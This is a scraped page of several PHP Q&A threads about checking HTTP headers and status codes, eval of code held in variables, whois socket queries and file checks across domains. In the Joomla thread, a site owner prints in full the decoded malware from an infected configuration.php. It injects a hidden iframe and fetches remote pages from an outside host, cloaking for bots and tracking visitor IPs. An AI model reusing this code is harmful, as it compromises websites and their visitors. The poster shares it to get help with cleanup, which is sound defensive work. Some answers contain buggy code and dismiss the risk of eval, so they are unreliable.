checking header response in PHP for multiple URLs - php

I am trying to check the header response of multiple URLs at the same time without having a complicated php block.
<?php
$url = array("http://www.simplysup.co.uk/download/dl/trjsetup692.exe");
$headers = get_headers($url);
$response = substr($headers[0], 9, 3);
if ($response != "404") {
echo "PASS";
} else {
echo "FAIL";
}
?>
The above code checks for a single URL at a time. How to perform the same for multiple URLs at the same time? I will also need to trigger an email with the URL when the Header response is 404. Any help would be much appreciated.

I think this could solve your problem.
$fail = false;
$urls = array("http://www.simplysup.co.uk/download/dl/trjsetup692.exe");
foreach ($urls as $url) {
$headers = get_headers($url);
$response = substr($headers[0], 9, 3);
if ($response === "404") {
$fail = true;
}
}
if ($fail) {
echo "FAIL";
} else {
echo "PASS";
}

Related

php include or require contents of a variable, not a file

I'm looking for a way to include or require the content of a variable, instead of a file.
Normally, one can require/include a php function file with either of these:
require_once('my1stphpfunctionfile.php')
include('my2ndphpfunctionfile.php');
Suppose I wanted to do something like this:
$contentOf1stFFile = file_get_contents('/tmp/my1stphpfunctionfile.php');
$contentOf2ndFFile = file_get_contents('/tmp/my2ndphpfunctionfile.php');
require_once($contentOf1stFFile);
require_once($contentOf2ndFFile);
Now, in the above example, I have the actual function files which I am loading into variables. In the real world scenario I'm actually dealing with, the php code in the function files are not stored in files. They're in variables. So I'm looking for a way to treat those variables as include/require treats the function files.
I'm new to php so please forgive these questions if you find them foolish. What I'm attempting to do here does not appear to be possible. What I ended up doing was using eval which I'm told is very dangerous and should be avoided:
eval("?>$contentOf1stFFile");
eval("?>$contentOf2ndFFile");
Content of $contentOf1stFFile:
# class_lookup.php
<?php
class Lookup_whois {
// Domain name which we want to lookup
var $domain;
// TLD for above domain, eg. 'com', 'net', etc...
var $tld;
// Array which contains information needed to parse the whois server response
var $tld_params;
// Sets to error code if something fails
var $error_code;
// Sets user-friendly error message if something goes wrong
var $error_message;
// For internal use mainly - raw response from the whois server
var $whois_raw_output;
function Lookup_whois($domain, $tld, $tld_params) {
$this->domain = $domain;
$this->tld = $tld;
$this->tld_params = $tld_params;
}
function check_domain_spelling() {
if (preg_match("/^([A-Za-z0-9]+(\-?[A-za-z0-9]*)){2,63}$/", $this->domain)) {
return true;
} else {
return false;
}
}
function get_whois_output() {
if (isset($this->tld_params[$this->tld]['parameter'])) {
$query = $this->tld_params[$this->tld]['parameter'].$this->domain.'.'.$this->tld;
} else {
$query = $this->domain.'.'.$this->tld;
}
$server = $this->tld_params[$this->tld]['whois'];
if (!$this->check_domain_spelling()) {
$this->error_message = 'Domain name is not correct, check spelling. Only numbers, letters and hyphens are allowed';
return false;
}
if (!$server) {
$this->error_message = 'Whois server name is empty, please check the config file';
return false;
}
$output = array();
$fp = fsockopen($server, 43, $errno, $errstr, 30);
if(!$fp) {
$this->error_code = $errno;
$this->error_message = $errstr;
fclose($fp);
return false;
} else {
sleep(2);
fputs($fp, $query . "\n");
while(!feof($fp)) {
$output[] = fgets($fp, 128);
}
fclose($fp);
$this->whois_raw_output = $output;
return true;
}
}
function parse_whois_data() {
if (!is_array($this->whois_raw_output) && Count($this->whois_raw_output) < 1) {
$this->error_message = 'No output to parse... Get data first';
return false;
}
$wait_for = 0;
$result = array();
$result['domain'] = $this->domain.'.'.$this->tld;
foreach ($this->whois_raw_output as $line) {
#if (ereg($this->tld_params[$this->tld]['wait_for'], $line)) {
if (preg_match($this->tld_params[$this->tld]['wait_for'],$line)) {
$wait_for = 1;
}
if ($wait_for == 1) {
foreach ($this->tld_params[$this->tld]['info'] as $key => $value) {
$regs = '';
if (ereg($value.'(.*)', $line, $regs)) {
if (key_exists($key, $result)) {
if (!is_array($result[$key])) {
$result[$key] = array($result[$key]);
}
$result[$key][] = trim($regs[1]);
} else {
$result[$key] = trim($regs[1]);
$i = 1;
}
}
}
}
}
return $result;
}
}
?>
Are there any other alternatives?
No there are no other alternatives.
In terms of security there is no difference if you include() a file or eval() the content. It depends on the context. As long as you only run your own code there is nothing "dangerous".

Why strpos PHP not work with fsockopen response?

Why strpos PHP not work with fsockopen response ?
When load this code. This code will be requests sdgsgsdgsfsdfsd.ca to whois.cira.ca server and find text Domain status: available with strpos PHP if found it's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"available"}
but if not found text. It's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
In this case found text but still echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
How can i do ?
<?php
$server = "whois.cira.ca";
$response = "Domain status: available";
showDomainResult(sdgsgsdgsfsdfsd.ca,$server,$response);
function checkDomain($domain_check,$server,$findText)
{
$con = fsockopen($server, 43);
if (!$con) return false;
fputs($con, $domain_check."\r\n");
$response = ' :';
while(!feof($con))
{
$response .= fgets($con,128);
}
echo $response."<BR><BR><BR><BR><BR>";
fclose($con);
if (strpos($response, $findText))
{
return true;
}
else
{
return false;
}
}
function showDomainResult($domain_check,$server,$findText)
{
if (checkDomain($domain_check,$server,$findText))
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "available";
echo json_encode($e);
}
else
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "TAKEN";
echo json_encode($e);
}
}
?>
you're using strpos wrong, if the string START with what you're searching for, it will return int(0), which is "kinda false" by PHP's definition. explicitly check for false, like this
return false!==strpos($response, $findText);
and make sure you're using !== not !=
and as a rule of thumb, never use loose comparison operators in PHP if you can avoid it, hilarious bugs can occur if you do: https://3v4l.org/tT4l8

Check if file exist in multiple domains

I need to check if a file exist in multiple domains/servers and then show the download link to the user or write an error message. I have this script working for 1 domain:
<?php
$domain0='www.example.com';
$file=$_GET['file']
$resourceUrl = 'http://$domain0/$file';
$resourceExists = false;
$ch = curl_init($resourceUrl);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
//200 = OK
if ($statusCode == '200') {
$resourceExists = true;
}
if ($resourceExists == true) {
echo "Exist! $file";
} else {
echo "$file doesnt exist!";
}
?>
Now I need to check if that file exist in 4 domains, how can I do this? I don't know how to use arrays, so maybe if someone explain me ho to do this, I'll be very grateful.
I would create an array for domains
I would loop through the array with "foreach"
I would call a function to get the result
function checkFileOnDomain($file,$domain) {
$resourceUrl = "http://$domain/$file";
$ch = curl_init($resourceUrl);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($statusCode == '200')
return true;
}
$file=$_GET["file"];
// $_GET should be sanitized!
$domain_list=array("www.test1.com","www.test2.com");
foreach ($domain_list as $domain) {
echo "Check DOMAIN: $domain <hr/>";
if (checkFileOnDomain($file,$domain)) {
echo ">> [ $file ] EXISTS";
} else {
echo ">> [ $file ] DOES NOT EXIST";
}
echo "<br/><br/>";
} unset($domain);
EDIT:
To apply your specifications, you need an extra variable before foreach.
$link_to_file="";
foreach ($domain_list as $domain) {
if (checkFileOnDomain($file,$domain)) {
$link_to_file="$domain/$file";
break; // get first result and quit
}
} unset($domain);
if (!empty($link_to_file)) {
echo $link_to_file; //file is here
} else {
echo "404";
}
An array should solve the problem for you. This creates an array of the domains you want to check, and then cycles through them one by one running the code you wrote.
If you're struggling with arrays, have a look here for some more information
<?php
// Create an array of domains
$domains = ['www.example.com', 'www.example2.com', ...];
// Cycle through all the domains and run the code
foreach($domains as $domain) {
$domain0='www.example.com';
$file=$_GET['file']
$resourceUrl = 'http://$domain0/$file';
$resourceExists = false;
$ch = curl_init($resourceUrl);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
//200 = OK
if($statusCode == '200') {
$resourceExists = true;
} else if($resourceExists == false) {
}
if ($resourceExists == true) {
echo "Exist! $file";
} else {
echo "$file doesnt exist!";
}
}
?>

Joomla back-end login page keeps coming back to login page with no error. configuration.php file is infected. How to manage?

Since a week i was trying to login to the back-end of my joomla 1.5 site. It simply keeps coming back to the login page without any error. When I took a look at the configuration.php file it appeared as a string encoded with following pattern:
<?php eval(base64_decode('string here';))) />
When i decoded it using an online service this is what it appears to be:
if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = #file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) #unlink($f); else #touch($f); } else { if($fp = #fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = #file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot($ua){ if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = #fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = #strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) #unlink($odbf); if(strpos(frm_crpt(#file_get_contents($dbf)),$ip) === false ){ if ($fp=#fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } $tdir = frm_tmpdir(); $defframe = '<style> .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js'; $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js'; $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot($ua); if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ error_reporting(0); if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); #setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false)); exit(); } if ($isb) { error_reporting(0); print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false)); } } //---------}
I checked other Joomla installations on my hosting space and see that all the configuration.php are the same.
What to do?
Please help
The only thing the the configuration.php file should have is defined variables. Nothing else. It could very well be that someone has hacked your site and messed around with files.
Change all passwords that are related to your website, including the hosting one.
Take a backup of your site via the cPanel and scan it with some antivirus software. Assuming there are no viruses detected, upgrade your site to the latest of the Joomla 2.5 series (2.5.14).
Then, remove the code you showed in your question from the configuration.php file and try logging back into the Joomla admin panel. If it works, ensure all your extensions are up to date and read this:
Joomla! 2.5.4 Hacked: Having trouble with diagnosis.
If not, then try resetting your super user password via the database:
http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
UPDATE:
It seems your whole configuration.php file has been attacked. I have provided you with the code for the file, however there are some blank spaces to be filled in. Anything that does need filling in, I have written next to it:
http://pastebin.com/gWWtCAJR
Let me know how it goes :)

Getting header response code

This is part of a PHP script I am putting together. Basically a domain ($domain1) is defined in a form and a different message is displayed, based on the response code from the server. However, I am having issues getting it to work. The 3 digit response code is all I am interested in.
Here is what I have so far:
function get_http_response_code($domain1) {
$headers = get_headers($domain1);
return substr($headers[0], 9, 3);
foreach ($get_http_response_code as $gethead) {
if ($gethead == 200) {
echo "OKAY!";
} else {
echo "Nokay!";
}
}
}
$domain1 = 'http://google.com';
function get_http_response_code($domain1) {
$headers = get_headers($domain1);
return substr($headers[0], 9, 3);
}
$get_http_response_code = get_http_response_code($domain1);
if ( $get_http_response_code == 200 ) {
echo "OKAY!";
} else {
echo "Nokay!";
}
If you have PHP 5.4.0+ you can use the http_response_code() function. Example:
var_dump(http_response_code()); // int(200)
Here is my solution for people who need send email when server down:
$url = 'http://www.example.com';
while(true) {
$strHeader = get_headers($url)[0];
$statusCode = substr($strHeader, 9, 3 );
if($statusCode != 200 ) {
echo 'Server down.';
// Send email
}
else {
echo 'oK';
}
sleep(30);
}
You directly returned so function wont execute further foreach condition which you written. Its always better to maintain two functions.
function get_http_response_code($domain1) {
$headers = get_headers($domain1);
return substr($headers[0], 9, 3); //**Here you should not return**
foreach ($get_http_response_code as $gethead) {
if ($gethead == 200) {
echo "OKAY!";
} else {
echo "Nokay!";
}
}
}

Categories